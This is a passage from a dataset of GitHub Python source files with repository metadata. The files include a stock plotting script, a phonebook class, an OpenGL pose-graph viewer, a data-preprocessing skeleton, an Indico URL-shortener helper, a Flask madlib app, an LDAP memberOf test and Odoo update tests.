nylas)\n","repo_name":"ashwinbande/user-management-with-email-integration","sub_path":"nylas_email_app/tasks/sync_nylas_for_user.py","file_name":"sync_nylas_for_user.py","file_ext":"py","file_size_in_byte":7126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2920382950","text":"import pandas as pd\n\n#Part 1 \ndf_gme = pd.read_csv('gme_data_clean.csv')\ndf_gme.head()\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nsns.set()\n\nplt.suptitle('Game Stop Stock')\n\nfor plot_idx in range(1, 3):\n plt.subplot(1, 2, plot_idx)\n x = df_gme['days since 2020_Feb_03']\n for label in ['Low', 'High']:\n y = df_gme[label]\n plt.plot(x, y, label=label)\n plt.ylabel('price ($)')\n plt.legend()\n plt.xlabel('days since Feb 3 2020')\n\n if plot_idx == 2:\n # only set y scale on rightward plot\n plt.yscale('log')\n\n\nplt.gcf().set_size_inches((10, 5))\n\nf_out = 'game_stop.pdf'\nwith PdfPages(f_out) as pdf:\n pdf.savefig(bbox_inches='tight') \n","repo_name":"tarasawhney/DS3000","sub_path":"HW2/gamestop.py","file_name":"gamestop.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32310879186","text":"from os import path\nfrom contact import Contact\n\nclass PhoneBook:\n def __init__(self, path):\n self.contacts = []\n self.filePath = path\n\n self.ReadContacts()\n\n def AddContact(self, contact):\n self.contacts.append(contact)\n\n def PrintContacts(self):\n for contact in self.contacts:\n print(contact.ToString())\n\n def ReadContacts(self):\n if path.exists(self.filePath):\n file = open(self.filePath, \"r\", encoding=\"utf-8\")\n for row in file:\n contact = row.strip().split(\",\")\n\n contact_obj = Contact(contact[0], contact[1], contact[2], contact[3])\n self.contacts.append(contact_obj)\n\n file.close()\n\n def SaveContacts(self):\n contacts = \"\"\n for contact in self.contacts:\n contacts += contact.ToCSV() + \"\\n\"\n\n file = open(self.filePath, \"w\", encoding=\"utf-8\")\n file.write(contacts)\n file.close()\n","repo_name":"samikojo-tuni/2021_Python_3005","sub_path":"Examples/Classes/phonebook.py","file_name":"phonebook.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12991694701","text":"#!/usr/bin/python3.6\n# -*- coding: UTF-8 -*-\nfrom multiprocessing import Process, Queue\n\nimport pangolin as pango\nimport numpy as np\nimport OpenGL.GL as gl\nimport OpenGL.GLUT as glut\nfrom multi_robot_tools import MultiRobotTools\n\nclass MultiViewer3D(object):\n '''\n 3d viewer for g2o maps\n - based off ficiciSLAM's viewer\n - github.com/kemfic/ficiciSLAM\n '''\n is_optim = False\n tform = np.array([[0.0, 0.0, 1.0, 0.0],\n [1.0, 0.0, 0.0, 0.0],\n [0.0, 1.0, 0.0, 0.0],\n [0.0, 0.0, 0.0, 1.0]])\n def __init__(self, graph,robot_num,file_name='g2o_stuff'):\n self.file_name = file_name\n self.init()\n self.color_init()\n self.graph = graph\n self.nodes = np.dot(graph.nodes, self.tform)\n self.edges = np.array(graph.edges)\n self.robot_num = robot_num\n self.nodes_keys = np.array(graph.nodes_keys)\n self.edges_key_pairs = np.array(graph.edges_key_pairs)\n self.multi_robot_tools = MultiRobotTools()\n self.separator_edges = self.graph.separator_edges \n self.separator_nodes = np.dot(self.graph.separator_nodes,self.tform)\n self.partition_graph_np()\n while not pango.ShouldQuit():\n self.refresh()\n\n def init(self):\n w, h = (1024,768)\n f = 2000 #420\n\n pango.CreateWindowAndBind(self.file_name , w, h)\n gl.glEnable(gl.GL_DEPTH_TEST)\n glut.glutInit()\n self.camera_size=0.2\n self.viewpoint_x = 0\n self.viewpoint_y = 0 \n self.viewpoint_z = 100\n self.viewpoint_f = 1000\n # Projection and ModelView Matrices\n self.look_view = pango.ModelViewLookAt(self.viewpoint_x, self.viewpoint_y, self.viewpoint_z,\n 0.0, 0.0, 0.0,\n 0.0, -1.0, 0.0)\n self.scam = pango.OpenGlRenderState(\n pango.ProjectionMatrix(w, h, self.viewpoint_f, self.viewpoint_f, w //2, h//2, 0.1, 100000),self.look_view\n )#pango.AxisDirection.AxisY))\n self.handler = pango.Handler3D(self.scam)\n \n # Interactive View in Window\n self.dcam = pango.CreateDisplay()\n self.dcam.SetBounds(0.0, 1.0, 0.0, 1.0, -w/h)\n panel = pango.CreatePanel('ui')\n panel.SetBounds(0.0, 1.0, 0.0, 180/640.)\n\n self.axis = pango.Renderable()\n # print(dir(tree))\n # print(dir(pango.Axis()))\n self.axis.Add(pango.Axis())\n # def draw(view):\n # view.Activate(self.scam)\n # tree.Render()\n # self.dcam.SetDrawFunction(draw)\n # self.rename_id = pango.VarString('ui.rename id', \"10\")\n # self.rename_id_dir = pango.VarString('ui.rename id dir', \"10\")\n\n self.reset_view_button = pango.VarBool('ui.Reset View', value=False, toggle=False)\n self.show_grid = pango.VarBool('ui.Show Grid', value=True, toggle=True)\n self.show_id = pango.VarBool('ui.Show Id', value=False, toggle=False)\n\n self.show_g2o_id = pango.VarBool('ui.Show G2o Id', value=False, toggle=True)\n self.show_gtsam_id = pango.VarBool('ui.Show Gtsam Id', value=False, toggle=True)\n\n self.show_robot = pango.VarBool('ui.Show Robot', value=False, toggle=False)\n\n self.show_separator = pango.VarBool('ui.Show Separator', value=True, toggle=True)\n self.show_separator_only = pango.VarBool('ui.Only Show Separator', value=False, toggle=True)\n \n self.show_robot_1 = pango.VarBool('ui.Show Robot 1', value=True, toggle=True)\n self.show_robot_2 = pango.VarBool('ui.Show Robot 2', value=True, toggle=True)\n self.show_robot_3 = pango.VarBool('ui.Show Robot 3', value=True, toggle=True)\n self.show_robot_4 = pango.VarBool('ui.Show Robot 4', value=True, toggle=True)\n\n self.show_list = [self.show_robot_1,self.show_robot_2,self.show_robot_3,self.show_robot_4]\n\n\n\n self.rename_id_button = pango.VarBool('ui.Renameid', value=False, toggle=False)\n self.rename_id_dir_button = pango.VarBool('ui.Renameid Dir', value=False, toggle=False)\n\n self.iterations = pango.VarString('ui.Iterations', \"10\")\n self.init_guess_button = pango.VarBool('ui.Initial Guess', value=False, toggle=False)\n self.reload_button = pango.VarBool('ui.Reload', value=False, toggle=False)\n self.optimize_button = pango.VarBool('ui.Optimize', value=False, toggle=False)\n\n \n\n\n\n self.dcam.SetHandler(self.handler)\n self.dcam.Activate()\n\n pango.RegisterKeyPressCallback(ord('r'), self.optimize_callback)\n pango.RegisterKeyPressCallback(ord('t'), self.switch_callback)\n\n \n def color_init(self):\n color_list = [[255,69,0],[255,215,0],[0,255,127],[0,191,255],[138,43,226]]\n self.color_list = color_list\n self.separator_edge_color = [244,164,96]\n self.separator_node_color = [255,250,205]\n\n def refresh(self):\n\n if pango.Pushed(self.reset_view_button):\n self.reset_view_callback()\n print(\"reset view\")\n if pango.Pushed(self.rename_id_button):\n print(\"rename id\")\n if pango.Pushed(self.rename_id_dir_button):\n print(\"rename id dir\")\n if pango.Pushed(self.init_guess_button):\n print(\"init_guess_button\")\n self.init_guess_callback()\n if pango.Pushed(self.reload_button):\n print(\"reload\")\n if pango.Pushed(self.optimize_button):\n print(\"optimize\")\n self.optimize_button_callback()\n\n \n #clear and activate screen\n gl.glClear(gl.GL_COLOR_BUFFER_BIT | gl.GL_DEPTH_BUFFER_BIT)\n gl.glClearColor(0.15, 0.15, 0.15, 0.0)\n\n #gl.glClearColor(1.0, 1.0, 1.0, 0.0)\n\n self.dcam.Activate(self.scam)\n\n gl.glLineWidth(5)\n self.axis.Render()\n\n\n if self.show_grid.Get():\n gl.glLineWidth(1)\n self.drawPlane()\n \n if self.show_separator.Get():\n # draw separator\n if len(self.separator_nodes) >1:\n gl.glLineWidth(2)\n gl.glColor3f(self.separator_node_color[0]/255.0, self.separator_node_color[1]/255.0, self.separator_node_color[2]/255.0)\n pango.DrawCameras(self.separator_nodes,self.camera_size)\n \n if len(self.separator_edges) >1:\n gl.glLineWidth(3)\n gl.glColor3f(self.separator_edge_color[0]/255.0, self.separator_edge_color[1]/255.0, self.separator_edge_color[2]/255.0)\n pango.DrawLines(self.separator_edges[:,0,:-1, -1], self.separator_edges[:,1,:-1,-1])\n # pango.DrawText('Hello, world!', 20, 20)\n\n for robot_id in range(self.robot_num):\n edge_color = self.color_list[robot_id]\n nodes = self.nodes_dict[robot_id]\n edges = self.edges_dict[robot_id]\n if self.show_list[robot_id].Get() and not self.show_separator_only.Get():\n # render\n # render cameras\n gl.glLineWidth(1)\n if len(nodes) > 1:\n gl.glColor3f(edge_color[0]/255.0, edge_color[1]/255.0, edge_color[2]/255.0)\n # gl.glColor3f(1.0, 1.0, 1.0)\n\n pango.DrawCameras(nodes,self.camera_size)\n \n # render edges\n if len(edges) > 1:\n gl.glColor3f(edge_color[0]/255.0, edge_color[1]/255.0, edge_color[2]/255.0)\n pango.DrawLines(edges[:,0,:-1, -1], edges[:,1,:-1,-1])\n if(self.show_gtsam_id.Get() or self.show_g2o_id.Get()):\n self.draw_vertex_key()\n\n pango.FinishFrame()\n\n def partition_graph_np(self):\n self.nodes_dict = {}\n self.edges_dict = {}\n\n for robot_id in range(self.robot_num):\n node_id_mask = np.array([self.multi_robot_tools.key2robot_id_g2o(key)==robot_id for key in self.nodes_keys])\n # node_id_mask = np.array([self.multi_robot_tools.key2robot_id_g2o(key) for key in self.nodes_keys])\n # node_id_mask = np.array([key for key in self.nodes_keys])\n\n # print(node_id_mask)\n \n self.nodes_dict[robot_id] = self.nodes[node_id_mask]\n\n node_key = self.nodes_keys[node_id_mask]\n\n # print(\"----------node_key---------------\")\n # print(\"----------robot\"+str(robot_id)+'-----------')\n # print(node_key)\n\n\n edge_id_mask = np.array([ (self.multi_robot_tools.key2robot_id_g2o(key_pair[0]) ==robot_id or self.multi_robot_tools.key2robot_id_g2o(key_pair[1])==robot_id)\n for key_pair in self.edges_key_pairs])\n\n edges_key_pairs = self.edges_key_pairs[edge_id_mask]\n\n # print(\"----------edge_key---------------\")\n # print(\"----------robot\"+str(robot_id)+'-----------')\n # print(edges_key_pairs)\n\n self.edges_dict[robot_id] = self.edges[edge_id_mask]\n\n\n def update(self, graph=None):\n '''\n add new stuff to queues\n '''\n \n self.nodes = np.dot(self.graph.nodes_optimized, self.tform)\n self.edges = self.graph.edges_optimized\n\n def drawPlane(self,num_divs=30, div_size=5):\n # Plane parallel to x-z at origin with normal -y\n minx = -num_divs*div_size\n miny = -num_divs*div_size\n maxx = num_divs*div_size\n maxy = num_divs*div_size\n #gl.glLineWidth(2)\n #gl.glColor3f(0.7,0.7,1.0)\n gl.glColor3f(0.7,0.7,0.7)\n gl.glBegin(gl.GL_LINES)\n for n in range(2*num_divs):\n gl.glVertex3f(minx+div_size*n,miny,0)\n gl.glVertex3f(minx+div_size*n,maxy,0)\n gl.glVertex3f(minx,miny+div_size*n,0)\n gl.glVertex3f(maxx,miny+div_size*n,0)\n gl.glEnd()\n\n def optimize_callback(self):\n self.graph.optimize()\n self.is_optim = False\n self.switch_callback()\n\n def switch_callback(self):\n self.is_optim = ~self.is_optim\n if self.is_optim:\n print(\"optimized\")\n self.nodes = np.dot(self.graph.nodes_optimized, self.tform)\n self.edges = self.graph.edges_optimized\n else:\n print(\"original\")\n self.nodes = np.dot(self.graph.nodes, self.tform)\n self.edges = self.graph.edges\n\n def init_guess_callback(self):\n self.graph.initial_guess()\n self.graph.update_key_position()\n self.update()\n self.partition_graph_np()\n\n def optimize_button_callback(self):\n self.graph.optimize(int(self.iterations.Get()))\n self.graph.update_key_position()\n self.update()\n self.partition_graph_np()\n \n def reset_view_callback(self):\n self.scam.SetModelViewMatrix(self.look_view)#pango.AxisDirection.AxisY))\n\n def draw_text(self,position,text):\n # pos_text = [0,0,0]\n # name = 'Hello'\n # gl.glDisable(gl.GL_LIGHTING)\n # gl.glColor3f(0.0, 0.0, 0.0)\n gl.glRasterPos3f(*position)\n glut.glutBitmapString(glut.GLUT_BITMAP_HELVETICA_12,\n text.encode())\n # gl.glEnable(gl.GL_LIGHTING)\n \n def draw_vertex_key(self):\n for key, value in self.graph.key_node_dict.items():\n robot_id = self.multi_robot_tools.key2robot_id_g2o(key)\n if self.show_list[robot_id].Get():\n \n edge_color = self.color_list[robot_id]\n gl.glColor3f(edge_color[0]/255.0, edge_color[1]/255.0, edge_color[2]/255.0)\n\n edge_color = self.color_list[robot_id]\n\n if self.show_g2o_id.Get():\n self.draw_text(value,str(key))\n elif self.show_gtsam_id.Get():\n new_key = self.multi_robot_tools.id_g2o2gtsam(key)\n self.draw_text(value,str(new_key))","repo_name":"jiangpin-legend/g2o_tools","sub_path":"multi_viewer.py","file_name":"multi_viewer.py","file_ext":"py","file_size_in_byte":10742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6893079862","text":"import json\nimport pandas as pd\nimport numpy as np\n\nfrom enum import Enum\nfrom typing import List\nfrom dataset_attributes import DataSetAtrributes\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\n\nclass ImputerStrategy(Enum):\n MEAN = 'mean'\n MEDIAN = 'median'\n MODE = 'mode'\n CONSTANT = 'constant'\n REGRESSOR_MODEL = 'regressor_model'\n CLASSIFICATION_MODEL = 'clasification_model'\n\n\nclass DataBot:\n numeric_types: List[str] = ['int64', 'float64', 'datetime64']\n string_types: List[str] = ['object', 'category']\n\n def __init__(self,\n dataset=None,\n target_name=None,\n null_threshold=0.3,\n cardinal_threshold=0.3,\n project_path=None):\n self.dataset = dataset\n self.target = target_name\n self.null_threshold = null_threshold\n self.cardinal_threshold = cardinal_threshold\n self.project_path = project_path\n self.categorical_columns = []\n self.numeric_columns = []\n\n self.datasetAttributes = DataSetAtrributes(self.project_path)\n\n if target_name is not None:\n self.target_name = target_name\n self.target = self.dataset[self.target_name]\n self.features = self.dataset.drop([self.target_name], axis=1)\n else:\n self.features = dataset\n\n # Lambda for a series object that fill nulls with the mean.\n fill_mean = None\n # Lambda for a series object that fill nulls with the mode.\n fill_mode = None\n\n def scale_range(self, x):\n return (x - x.min(axis=0)) / (x.max(axis=0) - x.min(axis=0))\n\n def scale_log(self, x):\n return np.log(x + 1)\n\n impute_strategies = {\n ImputerStrategy.MEAN: fill_mean,\n ImputerStrategy.MODE: fill_mode\n }\n\n def impute(self, columns, impute_strategy):\n \"\"\"Impute selected columns (pd.Series) from self.features with the given strategy.\n\n Parameters\n ----------\n :param columns: list of columns names to impute.\n :param impute_strategy: Selected ImputerStrategy\n \"\"\"\n pass\n\n def one_hot_encode(self, col_name, categorical_values):\n \"\"\" Apply one hot encoding to the given column.\n\n :param col_name: Name of the column to one hot encode.\n :param categorical_values: Unique values from self.features[col_name]\n :return:\n \"\"\"\n pass\n\n def normalize(self, columns):\n \"\"\"Apply self.scale_range and self.scale_log to the given columns\n :param columns: list of columns names to normalize\n \"\"\"\n self.features[columns] = None\n self.features[columns] = None\n\n def remove_null_columns(self):\n \"\"\"Remove columns with a percentage of null values greater than the given threshold (self.null_threshold).\n \n \"\"\"\n pass\n\n def remove_high_cardinality_columns(self):\n \"\"\"Remove columns with a cardinality percentage greater than the given threshold (self.cardinal_threshold).\n\n \"\"\"\n pass\n\n def pre_process(self):\n \"\"\"Preprocess dataset features before being send to ML algorithm for training.\n \"\"\"\n # Implement this method with the given indications in the given order\n\n # Remove columns with null values above the threshold\n\n # Remove columns with cardinality above the threshold\n\n # Create a python list with the names of columns with numeric values.\n # Numeric columns have one of the types stored in the list self.numeric_types\n self.numeric_columns = None\n\n # Create a python list with the names of columns with string values.\n # Categorical columns have one of the types stored in the list self.string_types\n self.categorical_columns = None\n\n # Create a python list with the names of numeric columns with at least one null value.\n numeric_nulls = None\n\n # Create a python list with the names of categorical columns with at least one null value.\n categorical_nulls = None\n\n # Impute numerical columns with at least one null value.\n\n # Impute categorical columns with at least one null value.\n\n # These two lines gather information from the dataset for further use.\n self.datasetAttributes.set_column_values(self.categorical_columns, self.features)\n self.datasetAttributes.set_number_values(self.numeric_columns, self.features)\n\n # Apply one hot encoding to all categorical columns.\n\n # Normalize all numeric columns\n\n # This line store relevant information from the processed dataset for further use.\n self.datasetAttributes.save()\n\n def pre_process_prediction(self, parameters):\n \"\"\"Preprocess records from API calls before running predictions\n\n :param parameters: information from the processed dataset in the training stage.\n\n \"\"\"\n self.features.drop(parameters['removed_columns'], axis=1, inplace=True)\n\n for column in parameters['categorical_columns'].keys():\n categorical_values = parameters['categorical_columns'][column][\"values\"]\n self.one_hot_encode(column, categorical_values)\n\n for column in parameters['numeric_columns'].keys():\n n_min = parameters['numeric_columns'][column][\"min\"]\n n_max = parameters['numeric_columns'][column][\"max\"]\n self.features[column] = self.features[column].apply(lambda x: (x - n_min) / (n_max - n_min))\n self.features[column] = self.features[column].apply(lambda x: np.log(x + 1))\n\n def get_dataset(self):\n \"\"\"Returns a dataset with features and labels.\n\n :return: Dataset with features and labels.\n \"\"\"\n self.dataset = self.features\n self.dataset[self.target_name] = self.target\n return self.dataset\n","repo_name":"mrugeles/numpy-pandas-project","sub_path":"data_bot.py","file_name":"data_bot.py","file_ext":"py","file_size_in_byte":5831,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"73345765207","text":"import json\nimport posixpath\n\nimport requests\nfrom werkzeug.exceptions import ServiceUnavailable\n\n\ndef _get_settings():\n from indico_ursh.plugin import UrshPlugin\n api_key = UrshPlugin.settings.get('api_key')\n api_host = UrshPlugin.settings.get('api_host')\n\n if not api_key or not api_host:\n raise ServiceUnavailable('Not configured')\n\n return api_key, api_host\n\n\ndef is_configured():\n \"\"\"Check whether the plugin is properly configured.\"\"\"\n from indico_ursh.plugin import UrshPlugin\n api_key = UrshPlugin.settings.get('api_key')\n api_host = UrshPlugin.settings.get('api_host')\n return bool(api_key and api_host)\n\n\ndef request_short_url(original_url):\n from indico_ursh.plugin import UrshPlugin\n api_key, api_host = _get_settings()\n headers = {'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json'}\n url = posixpath.join(api_host, 'api/urls/')\n\n response = requests.post(url, data=json.dumps({'url': original_url, 'allow_reuse': True}), headers=headers)\n response.raise_for_status()\n data = response.json()\n UrshPlugin.logger.info('Shortcut created: %s -> %s', data['shortcut'], original_url)\n return data['short_url']\n\n\ndef register_shortcut(original_url, shortcut, user):\n from indico_ursh.plugin import UrshPlugin\n api_key, api_host = _get_settings()\n headers = {'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json'}\n url = posixpath.join(api_host, 'api/urls', shortcut)\n data = {'url': original_url, 'allow_reuse': True, 'meta': {'indico.user': user.id}}\n\n response = requests.put(url, data=json.dumps(data), headers=headers)\n if not (400 <= response.status_code < 500):\n response.raise_for_status()\n\n data = response.json()\n if not data.get('error'):\n UrshPlugin.logger.info('Shortcut created: %s -> %s', data['shortcut'], original_url)\n return data\n\n\ndef strip_end(text, suffix):\n if not text.endswith(suffix):\n return text\n return text[:len(text) - len(suffix)]\n","repo_name":"indico/indico-plugins","sub_path":"ursh/indico_ursh/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"31"} +{"seq_id":"41978863012","text":"from flask import Flask, request, render_template\nimport stories\nfrom flask_debugtoolbar import DebugToolbarExtension\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = \"secret\"\n\ndebug = DebugToolbarExtension(app)\n\n@app.route('/')\ndef home_page():\n story = stories.story.prompts\n return render_template(\"home.html\",story_prompts = story)\n\n@app.route('/story')\ndef story_page():\n answer_dict = {prompt : request.args[prompt] for prompt in stories.story.prompts}\n full_story = stories.story.generate(answer_dict)\n return render_template(\"story.html\",full_story = full_story)","repo_name":"FangedMob24/flask-madlibs","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13404469821","text":"import logging\nimport time\n\nimport ldap\nimport pytest\nfrom lib389 import Entry\nfrom lib389._constants import *\nfrom lib389.properties import *\nfrom lib389.topologies import topology_st\nfrom lib389.utils import *\n\npytestmark = pytest.mark.tier2\n\nlog = logging.getLogger(__name__)\n\n\ndef test_ticket47560(topology_st):\n \"\"\"\n This test case does the following:\n SETUP\n - Create entry cn=group,SUFFIX\n - Create entry cn=member,SUFFIX\n - Update 'cn=member,SUFFIX' to add \"memberOf: cn=group,SUFFIX\"\n - Enable Memberof Plugins\n\n # Here the cn=member entry has a 'memberOf' but\n # cn=group entry does not contain 'cn=member' in its member\n\n TEST CASE\n - start the fixupmemberof task\n - read the cn=member entry\n - check 'memberOf is now empty\n\n TEARDOWN\n - Delete entry cn=group,SUFFIX\n - Delete entry cn=member,SUFFIX\n - Disable Memberof Plugins\n \"\"\"\n\n def _enable_disable_mbo(value):\n \"\"\"\n Enable or disable mbo plugin depending on 'value' ('on'/'off')\n \"\"\"\n # enable/disable the mbo plugin\n if value == 'on':\n topology_st.standalone.plugins.enable(name=PLUGIN_MEMBER_OF)\n else:\n topology_st.standalone.plugins.disable(name=PLUGIN_MEMBER_OF)\n\n log.debug(\"-------------> _enable_disable_mbo(%s)\" % value)\n\n topology_st.standalone.stop(timeout=120)\n time.sleep(1)\n topology_st.standalone.start(timeout=120)\n time.sleep(3)\n\n # need to reopen a connection toward the instance\n topology_st.standalone.open()\n\n def _test_ticket47560_setup():\n \"\"\"\n - Create entry cn=group,SUFFIX\n - Create entry cn=member,SUFFIX\n - Update 'cn=member,SUFFIX' to add \"memberOf: cn=group,SUFFIX\"\n - Enable Memberof Plugins\n \"\"\"\n log.debug(\"-------- > _test_ticket47560_setup\\n\")\n\n #\n # By default the memberof plugin is disabled create\n # - create a group entry\n # - create a member entry\n # - set the member entry as memberof the group entry\n #\n entry = Entry(group_DN)\n entry.setValues('objectclass', 'top', 'groupOfNames', 'inetUser')\n entry.setValues('cn', 'group')\n try:\n topology_st.standalone.add_s(entry)\n except ldap.ALREADY_EXISTS:\n log.debug(\"Entry %s already exists\" % (group_DN))\n\n entry = Entry(member_DN)\n entry.setValues('objectclass', 'top', 'person', 'organizationalPerson', 'inetorgperson', 'inetUser')\n entry.setValues('uid', 'member')\n entry.setValues('cn', 'member')\n entry.setValues('sn', 'member')\n try:\n topology_st.standalone.add_s(entry)\n except ldap.ALREADY_EXISTS:\n log.debug(\"Entry %s already exists\" % (member_DN))\n\n replace = [(ldap.MOD_REPLACE, 'memberof', ensure_bytes(group_DN))]\n topology_st.standalone.modify_s(member_DN, replace)\n\n #\n # enable the memberof plugin and restart the instance\n #\n _enable_disable_mbo('on')\n\n #\n # check memberof attribute is still present\n #\n filt = 'uid=member'\n ents = topology_st.standalone.search_s(member_DN, ldap.SCOPE_BASE, filt)\n assert len(ents) == 1\n ent = ents[0]\n # print ent\n value = ensure_str(ent.getValue('memberof'))\n # print \"memberof: %s\" % (value)\n assert value == group_DN\n\n def _test_ticket47560_teardown():\n \"\"\"\n - Delete entry cn=group,SUFFIX\n - Delete entry cn=member,SUFFIX\n - Disable Memberof Plugins\n \"\"\"\n log.debug(\"-------- > _test_ticket47560_teardown\\n\")\n # remove the entries group_DN and member_DN\n try:\n topology_st.standalone.delete_s(group_DN)\n except:\n log.warning(\"Entry %s fail to delete\" % (group_DN))\n try:\n topology_st.standalone.delete_s(member_DN)\n except:\n log.warning(\"Entry %s fail to delete\" % (member_DN))\n #\n # disable the memberof plugin and restart the instance\n #\n _enable_disable_mbo('off')\n\n group_DN = \"cn=group,%s\" % (SUFFIX)\n member_DN = \"uid=member,%s\" % (SUFFIX)\n\n #\n # Initialize the test case\n #\n _test_ticket47560_setup()\n\n #\n # start the test\n # - start the fixup task\n # - check the entry is fixed (no longer memberof the group)\n #\n log.debug(\"-------- > Start ticket tests\\n\")\n\n filt = 'uid=member'\n ents = topology_st.standalone.search_s(member_DN, ldap.SCOPE_BASE, filt)\n assert len(ents) == 1\n ent = ents[0]\n log.debug(\"Unfixed entry %r\\n\" % ent)\n\n # run the fixup task\n topology_st.standalone.tasks.fixupMemberOf(suffix=SUFFIX, args={TASK_WAIT: True})\n\n ents = topology_st.standalone.search_s(member_DN, ldap.SCOPE_BASE, filt)\n assert len(ents) == 1\n ent = ents[0]\n log.debug(\"Fixed entry %r\\n\" % ent)\n\n if ensure_str(ent.getValue('memberof')) == group_DN:\n log.warning(\"Error the fixupMemberOf did not fix %s\" % (member_DN))\n result_successful = False\n else:\n result_successful = True\n\n #\n # cleanup up the test case\n #\n _test_ticket47560_teardown()\n\n assert result_successful is True\n\n log.info('Testcase PASSED')\n\n\nif __name__ == '__main__':\n # Run isolated\n # -s for DEBUG mode\n CURRENT_FILE = os.path.realpath(__file__)\n pytest.main(\"-s %s\" % CURRENT_FILE)\n","repo_name":"389ds/389-ds-base","sub_path":"dirsrvtests/tests/tickets/ticket47560_test.py","file_name":"ticket47560_test.py","file_ext":"py","file_size_in_byte":5595,"program_lang":"python","lang":"en","doc_type":"code","stars":162,"dataset":"github-code","pt":"31"} +{"seq_id":"11916068612","text":"import json\nimport os\nimport subprocess\nimport sys\n\nimport pytest\nfrom click.testing import CliRunner\nfrom click_odoo import OdooEnvironment, odoo, odoo_bin\n\nfrom click_odoo_contrib.update import _load_installed_checksums, main\n\n# this extends the addons path of the odoodb and odoocfg fixtures\n# we use the v1 dir, so the first install work (since it's only since version 12\n# that Odoo updates the modules list before installing)\ntest_addons_dir = os.path.join(os.path.dirname(__file__), \"data\", \"test_update\", \"v1\")\n\n\ndef _addons_dir(v):\n return os.path.join(os.path.dirname(__file__), \"data\", \"test_update\", v)\n\n\ndef _addons_path(v):\n return \",\".join(\n [\n os.path.join(odoo.__path__[0], \"addons\"),\n os.path.join(odoo.__path__[0], \"..\", \"addons\"),\n _addons_dir(v),\n ]\n )\n\n\ndef _check_expected(odoodb, v):\n with OdooEnvironment(database=odoodb) as env:\n with open(os.path.join(_addons_dir(v), \"expected.json\")) as f:\n expected = json.load(f)\n for addon_name, expected_data in expected.items():\n env.cr.execute(\n \"SELECT state, latest_version FROM ir_module_module WHERE name=%s\",\n (addon_name,),\n )\n state, version = env.cr.fetchone()\n expected_state = expected_data.get(\"state\")\n if expected_state:\n assert state == expected_state, addon_name\n expected_version = expected_data.get(\"version\")\n if expected_version:\n assert version.split(\".\")[2:] == expected_version.split(\".\"), addon_name\n\n\ndef _install_one(odoodb, v):\n cmd = [\n odoo_bin,\n \"--addons-path\",\n _addons_path(\"v1\"),\n \"-d\",\n odoodb,\n \"-i\",\n \"addon_app\",\n \"--stop-after-init\",\n ]\n subprocess.check_call(cmd)\n\n\ndef _update_one(odoodb, v, ignore_addons=None, ignore_core_addons=False):\n cmd = [\n sys.executable,\n \"-m\",\n \"click_odoo_contrib.update\",\n \"--addons-path\",\n _addons_path(v),\n \"-d\",\n odoodb,\n ]\n if ignore_addons:\n cmd.extend([\"--ignore-addons\", ignore_addons])\n if ignore_core_addons:\n cmd.append(\"--ignore-core-addons\")\n subprocess.check_call(cmd)\n\n\ndef _update_list(odoodb, v):\n cmd = [\n sys.executable,\n \"-m\",\n \"click_odoo_contrib.update\",\n \"--addons-path\",\n _addons_path(v),\n \"-d\",\n odoodb,\n \"--list-only\",\n ]\n subprocess.check_call(cmd)\n\n\ndef test_update(odoodb):\n _install_one(odoodb, \"v1\")\n _check_expected(odoodb, \"v1\")\n # With --list-only option update shouldn't be performed:\n _update_list(odoodb, \"v2\")\n _check_expected(odoodb, \"v1\")\n # With --ignore-addons addon_app, update should not be performed\n _update_one(odoodb, \"v1\", ignore_addons=\"addon_app\")\n _check_expected(odoodb, \"v1\")\n # Default update should:\n _update_one(odoodb, \"v2\")\n _check_expected(odoodb, \"v2\")\n _update_one(odoodb, \"v3\")\n _check_expected(odoodb, \"v3\")\n with OdooEnvironment(odoodb) as env:\n checksums = _load_installed_checksums(env.cr)\n print(checksums)\n assert \"base\" in checksums\n assert checksums.get(\"addon_app\") == \"bb1ff827fd6084e69180557c3183989100ddb62b\"\n assert checksums.get(\"addon_d1\") == \"ff46eefbe846e1a46ff3de74e117fd285b72f298\"\n assert checksums.get(\"addon_d2\") == \"edf58645e2e55a2d282320206f73df09a746a4ab\"\n # 3.1 sets addons_d1 as uninstallable: it stays installed\n _update_one(odoodb, \"v3.1\")\n _check_expected(odoodb, \"v3.1\")\n _update_one(odoodb, \"v4\")\n _check_expected(odoodb, \"v4\")\n _update_one(odoodb, \"v5\")\n _check_expected(odoodb, \"v5\")\n _update_one(odoodb, \"v6\", ignore_core_addons=True)\n _check_expected(odoodb, \"v6\")\n with OdooEnvironment(odoodb) as env:\n checksums = _load_installed_checksums(env.cr)\n assert \"base\" not in checksums # because ignore_Core_addons=True\n with pytest.raises(subprocess.CalledProcessError):\n _update_one(odoodb, \"v7\")\n if odoo.release.version_info >= (12, 0):\n # Odoo >= 12 does -u in a transaction\n _check_expected(odoodb, \"v6\")\n\n\ndef test_update_db_not_exists():\n runner = CliRunner()\n result = runner.invoke(main, [\"-d\", \"dbthatdoesnotexist\"])\n assert result.exit_code != 0\n runner = CliRunner()\n result = runner.invoke(main, [\"--if-exists\", \"-d\", \"dbthatdoesnotexist\"])\n assert result.exit_code == 0\n\n\ndef test_update_i18n_overwrite(odoodb):\n cmd = [\n sys.executable,\n \"-m\",\n \"click_odoo_contrib.update\",\n \"--i18n-overwrite\",\n \"-d\",\n odoodb,\n ]\n subprocess.check_call(cmd)\n # TODO how to test i18n-overwrite was effectively applied?\n\n\ndef test_parallel_watcher(odoodb):\n # Test that the parallel 